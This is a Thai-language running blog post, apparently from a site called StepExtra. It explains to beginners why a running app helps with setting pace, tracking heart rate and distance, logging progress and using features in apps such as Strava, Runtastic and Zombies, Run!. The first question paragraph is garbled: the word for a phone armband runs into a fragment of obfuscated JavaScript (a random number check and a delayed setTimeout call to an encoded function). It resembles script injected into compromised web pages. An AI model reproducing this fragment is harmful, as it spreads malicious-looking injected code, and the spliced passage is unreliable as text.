นักวิ่งมือใหม่ถาม...ทำไมต้องโหลด"เเอพวิ่ง"

นักวิ่งมือใหม่ถาม…ทำไมต้องโหลด”เเอพวิ่ง”

มีคำถามสายตรงมาจากนักวิ่งหน้าใหม่หลายๆ ท่านที่อยาก “วิ่ง” เพื่อเปลี่ยนเเปลงตัวเอง ไม่ว่าจะด้วยเรื่องสุขภาพ เรื่องการรักษาสัดส่วนร่างกายให้ดูดี หรือเพื่อค้นหาเเรงบันดาลใจ ค้นหาความท้าทายให้ชีวิต…เเต่หลังจากอธิบายวิธีการวิ่ง การจัดระเบียบร่างกาย การเลือกรองเท้าและเสื้อผ้า ก็มาถึงจุดไคลเเมกซ์ การเลือกอุปกรณ์ “Sport gadget” และการเลือก “แอพวิ่ง”

นักวิ่งหน้าใหม่ถาม : ทำไมเราต้องมีอุปกรณ์ Sport gadget อย่างเช่น นาฬิกาวิ่ง, นาฬิกาไตร, อุปกรณ์วัดอัตราเต้นของหัวใจหรือ Herat rate monitor, ที่เก็บอุปกรณ์มือถือ Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, เป้น้ำ และเสื้อผ้าเเบบ compression เป็นต้น ถ้าไม่อยากเสียตังค์ซื้อทำไงดี เพิ่งจะเริ่มต้นยังไม่อยากลงทุนกับมันมาก

StepEtra ตอบ : ถ้ายังไม่อยากลงทุนไปกับอุปกรณ์วิ่ง ซึ่งเข้าใจดีว่ามันมีราคาเหมือนกัน เราเเนะนำให้เริ่มจากการ โหลดเเอพวิ่ง ก่อนนะครับ เเต่ก่อนนั้นมีชุดวิ่งและรองเท้าวิ่งเเล้วนะ

Ok! หลังจากเสื้อกางเกงวิ่งพร้อม รองเท้าพร้อม…มาลงรายละเอียดเรื่อง ‘เเอพวิ่ง” กันดีกว่า มันสำคัญอย่างไร ทำไม่ถึงเป็นสิ่งที่เเนะนำให้กับ “นักวิ่งมือใหม่” ทุกคนต้องใช้

1. เป็นการสร้าง Reference point ที่ชัดเจนในการฝึก

เคยมีการทดลองที่ทาง StepExtra กล่าวไว้หลายๆ ครั้ง เกี่ยวกับการทดลองใช้ผ้าปิดตา เเล้วปล่อยให้เดินตรงไปข้างหน้า ผลที่ได้ เราจะเดินเป็นวงกลม ซ้ำเเล้วซ้ำอีก…อาจจะพูดได้ว่าใต้จิตสำนึกเราเเล้ว เราไม่ชอบการเปลี่ยนเปลง ชอบทำอะไรซ้ำๆ ตามความเคยชิน หากนำไปใช้อธิบายการวิ่งของมือใหม่หลายๆ คน มักจะพบว่าทุกครั้งที่เริ่มออกวิ่ง จะวิ่งเร็วและจบเร็ว หรือวิ่งช้าและพยายามให้จบเร็วเหมือนกัน ผลต่อเนื่องที่ได้คือ มีการบ่นให้ฟังว่าวิ่งมา 2-3 เดือนเเล้ว ไม่เห็นมีการเปลี่ยนเเปลงอะไรเลย เพราะอะไร

ตอบ เพราะเราไม่มีเป้าหมายทีชัดเจนไงครับ การออกกำลังกายโดยส่วนมากให้ออกตั้งเเต่ 30 นาทีขึ้นไป เพื่อให้ร่างกายเข้าสู่สภาวะ Aerobic ให้เหงื่อออก ให้ปอดเเละหัวใจสูบฉีด เเต่ถ้าวิ่ๆ เดินๆ หยุดๆ เหงื่อก็ไม่ค่อยออก ที่สำคัญร่างกายไม่มีการทำงานอย่างต่อเนื่อง อย่างนี้ผู้เขียนไม่ถือว่าเป็นการออกกำลังกายนะ

การวิ่งที่ดีควรกำหนดว่า วันนี้เราจะวิ่งกี่นาที ระยะทางกี่กิโลเมตร ที่ความเร็วเท่าไหร (ซึ่งจะใช้ Pace = เวลาที่ใช้วิ่งใน 1 km เป็นตัวกำหนด) การใช้ เเอพวิ่ง มาเป็นตัวช่วยในการจับเวลา จับความเร็ว เเละระยะทางจะช่วยให้การวิ่งง่ายขึ้น ทุกครั้งที่วิ่ง มีเป้าหมายชัดเจน

ยกตัวอย่างการวิ่งของตัวผู้เขียนเองให้ดูนะครับ…

สมัยที่เริ่มวิ่งเเรกจะมีเเค่ Heart rate monitor (HRM) มือถือเครื่องหนึ่ง เเอพวิ่ง โดยเก็บใส่กระเป๋าไม่ดูแอพจนกว่าจะวิ่งจบ ตอนนั้นใ้เวลาไปถึง 40 นาทีในการวิ่งเเค่ 3 กิโลเมตรกว่าๆ วิ่งตามใจฉันหรือวิ่งสัญชาติญาณเดิมๆ

เเต่เมื่อลองมาเปิดดูผลจากเเอพ สามารถชี้ให้เห็นได้เลยว่า

1. การวิ่งของเรานั้นไม่คงที่ ความเร็วในการวิ่งขึ้นๆ ลง

2. อัตราเต้นของหัวใจไม่คงที่ วิ่งขึ้นลง เวลาวิ่งเร็วก้เร็วจนหัวใจเต้นทะลุไป 180 ครัั้ง/นาที

3. จึงสรุปได้ว่าการวิ่งของเรานั้นไม่มีประสิทธิภาพเลย

หลังจากนั้นผู้เขียนจึงพยายามฝึกฝนวิ่งใหม่ โดยยึดเเผนการวิ่งจาก…มือใหม่หัดวิ่ง Half marathonและเปิดเเอพวิ่งควบคู่กันไป

ผู้เขียนเริ่มวัดค่า Pace โดยใช้เจ้าเเอพวิ่งจับดูความเร็วในการวิ่งเราระดับไหนที่วิ่งเเล้วสบายตัวไม่ช้าเกินไปเเละเร็วเกินไปที่สุดก่อนเเรก เเล้วตั้งเป็นค่า Pace มาตรฐาน ถ้าวิ่งต่ำกว่า Pace นี้ถือว่าเป้นการวิ่งวอร์มอัพหรือจ๊อกกิ้งธรรมดา

สองทำการวิ่งรักษาความเร็วเท่าเดิม รักษา pace ไว้ เเละเน้นฝึกวิ่งเพื่อเพิ่มระยะทาง (distance) และความอดทน (endurance) ความเร็วเอาไว้ที่หลัง

การวิ่งโดยมีเเอพออกกำลังกายค่อยกำกับนั้น จะลบค่าตัวเเปร หรือค่า Guess work ออกไปได้ดี สมุติว่าให้เราวิ่งออกเเรง 70% คำถามคือเเค่ไหนของเราคือ 70% เราใช้ความรู้สึกอย่างเดียวเทานั้น

เเต่ถ้าบอกว่าให้วิ่งที่ 70% ของ MaxHR อย่างนี้จะเห็นภาพได้ชัดเจนกว่า เเถมในระหว่างวิ่งเเอพจะสามารถค่อยเตือนเราได้ด้วยว่าวิ่งเกินค่าที่กำหนดหรือต่ำไป

หลังจากตั้งเป้าหมายไปเเล้วว่าจะฝึกวิ่งจนสามารถลงเเข่งขันระยะทาง Half marathon ได้ ผู้เขียนทดลองการวิ่งของด้วยเองอีกครั้งด้วยการวิ่งระยะ Minimarathon หรือ 10k เเต่ครั้งนี้มีการใช้เเอพในการฝึกทุกครั้ง ผลที่ได้คือ

1. อัตราการเต้รของหัวใจเสถียร ค่อยๆ ไต่ระดับตามระยะทางวิ่ง

2. ความเร็วในการวิ่งหรือ pace เสถียรกว่า ทุกๆ ครั้งที่ความเร็วตกลง เเอพจะค่อยเตือนตลอด

3. สรุปได้ว่า เเอพวิ่ง ทำหน้าที่เหมือนกับโค้ชส่วนตัวของเรา กำกับการวิ่งให้มีประสิทธิภาพมากขึ้น การวิ่งมีเป้าหมายชัดเจน พัฒนาได้เร็วขึ้น สังเกตุดูว่า จากวิ่งระยะ 3 กิโลกว่ามาเป็น 8-10 กิโลเมตร ใช้เวลาเเค่ 1 เดือน

2. ข้อมูลสามารถจับต้องได้

ทุกๆ การวิ่งเเอพจะทำการบันทึก ระยะทาง ความเร็ว อัตราเต้นหัวใจ ฯลฯ ซึ่งสามารถข้อมูลที่ได้จากเเอพมาพัฒนาตัวเองได้ง่ายเเละมีประสิทธิภาพ หรือสามารถเรียนรู้ได้ด้วยตัวเอง

ข้อดีของการวิ่งกับเเอพ คือ เราดีไซด์ออกเเบบการวิ่งเเต่ละครั้งให้สอดคล้องกับโปรเเกรมการฝึกได้เต็มที่ วันนี้จะวิ่งกี่กิโล ความเร็วเท่าไหร ช่วงไหนเร็วช่วงไหนผ่อนเบา เเอพวิ่งสามารถทำให้ได้หมดครับ

การวิ่งสะสมระยะทางเเละสามารถดูได้จากเเอพนั้นมันเหมือนกับการหยอดกระปุกออมสินละครับ ยิ่งสะสมมากเท่าไหร จำนวนเงินก็ย่อมเเยะขึ้นและจะเริ่มมีโมเมนตรัมผลักดันให้เราสะสมเงินให้มากขึ้นเรื่อยๆ เช่นด้วยกับการสะสมระยะทางของเราบนเเอพวิ่ง ไล่จากวันเป็นเดือนเเละเป็นปี เราจะเห็นการพัฒนาการได้ชัดเจนยิ่งขึ้น จากวิ่งสั้นๆ มาวิ่งยาวขึ้นและเริ่มวิ่งเร็วขึ้น

การมีสถิติให้ดู บางทีก็กลายเป็นของมีค่าสำหรับใครหลายๆ คน เป็นทั้งข้อมูลสถิติใช้ในการพัฒนาด้วยเองเเละเป้นความภาคภูมิใจ

3. มีลูกเล่นช่วยในการฝึกวิ่ง

หลายๆ เเอพวิ่งจะมีลูกเล่นช่วยกระตุ้นให้คุณพัฒนาการวิ่งได้ ตัวอย่างเช่น ความสามารถในการปรับจังหวะ beat ของเพลงให้สอดคล้องกับ HR (Heart Rate) หรือโปรเเกรมฝึกซ้อมวิ่งระยะ Half ไปจนถึง Full maarathon เป็นต้น

การช่วยฆ่าเวลา ก็เป็นลูกเล่นอย่างหนึ่งของเเอพวิ่ง ที่ทำให้คุณวิ่งได้นานขึ้น อย่างเเอพวิ่ง Zombies, Run! ที่เวลาเล่นคุณต้องสวมบทเป้นพระเอกวิ่งหนีซอมบี้ เเละเวลาวิ่งจบ session จะมีรางวัลให้ หรือเงินรางวัล ไอเท็ม ให้คุณเอาไปสร้างฐานที่มั่นไว้ต่อสู้กับผีร้ายในเกมส์

Runtastic ก็เป้นเเอพวิ่งที่ขึ้นชื่อเร่องวิ่ง จะมีลูกเล่นที่เรียกว่า Story Runing เป้นการเล่านิยาย บทความรู้ ผสมกับเสียงเพลง มีการดึงจังหวะขึ้นๆ ลงๆ ทำให้เราวิ่งเร็วเเละช้าลงตามไปด้วย เถือว่าป็นการฝึกวิ่งเเบบ Interval เเบบไม่รู้ตัว

ด้านเเอพ Strava เองก็มีฟีเจอร์สำหรับวิ่งเหมือนกัน ไม่ใช้เเค่โด่งดังเฉพาะเรื่องปั่นจักยาน ลูกเล่นที่ขึ้นชื่อของเค้าคือ Live Segment ไม่ว่าคุณไวิ่งที่ไหน คุณจะทิ้งประวัติไว้ในเส้นทางนั้นๆ ถ้าเส้นทางคือสวนรถไฟ คุณวิ่ง 10 กิโลเมตร ทำเวลาไว้ 55 นาที เเอพนี้ก็จะจบบันทึกไว้ให้ เมื่อมีคนอื่นมาวิ่งเส้นทางเดียวกับคุณ เเละใช้เเอพ Strava เหมือนกัน มันจะโชว์สถิติของคุณ กระตุ้นต่อม Chellenge ให้คนวิ่งอื่นๆ ต้องการทำลายสถิติคุณ ใครเป็นอันดับหนึ่งเส้นทางไหนเจ้าเเอพ Strava ก็จะโชว์ให้ดู

4. เพื่อการพัฒนาต่อไปในอนาคต

จากนักวิ่งมือใหม่กลายมาเป็นนักวิ่งผู้มากด้วยประสบการณ์ ผ่านระยะ มินิ ฮาร์ฟและฟูลมาราธอน คงต้องมีจุดๆ หนึ่งที่คุณเริ่มมองหาความท้าทายใหม่ๆ บางคนเริ่มผันตัวมาเล่นไตรกีฬา บ้างก็เริ่มลงระยะ Ultra marathon หรือระยะ 50-100 กิโลเมตรขึ้นไป การใช้ เเอพวิ่ง บนมือถือไม่อาจจะตอบสนองต่อความต้องการเราได้ เพราะระยะทางยิ่งมากขึ้น เเบตเตอรี่ก็จะถูกใช้มากขึ้นไปด้วย ไม่สามารถอยู่ได้ยาว ลงน้ำก็ไม่ได้ พกพาไม่สะดวกเป็นต้น ทำให้มีการเปลี่ยนไปใช้พวกนาฬิกาวิ่งหรือนาฬิกาไตรกีฬาแทน

เมื่อมีการเปลี่ยนอุปกรณ์วิ่งใหม่ หลายๆคน กังวลว่าประวัติข้อมูลสถิติการวิ่งจะหายไป…ไม่ต้องกลัวครับ ข้อมูลในเเอพวิ่งมีข้อดีที่สามารถถ่ายโอนไปมาระหว่างเเอพได้ โดยหลักการทำงานจะเก็บข้อมูลในนาฬิกาเเละถ่ายโอนข้อมูลเข้าเเอพมือถือ เเละเข้าสู่ cloud computer อีกครั้ง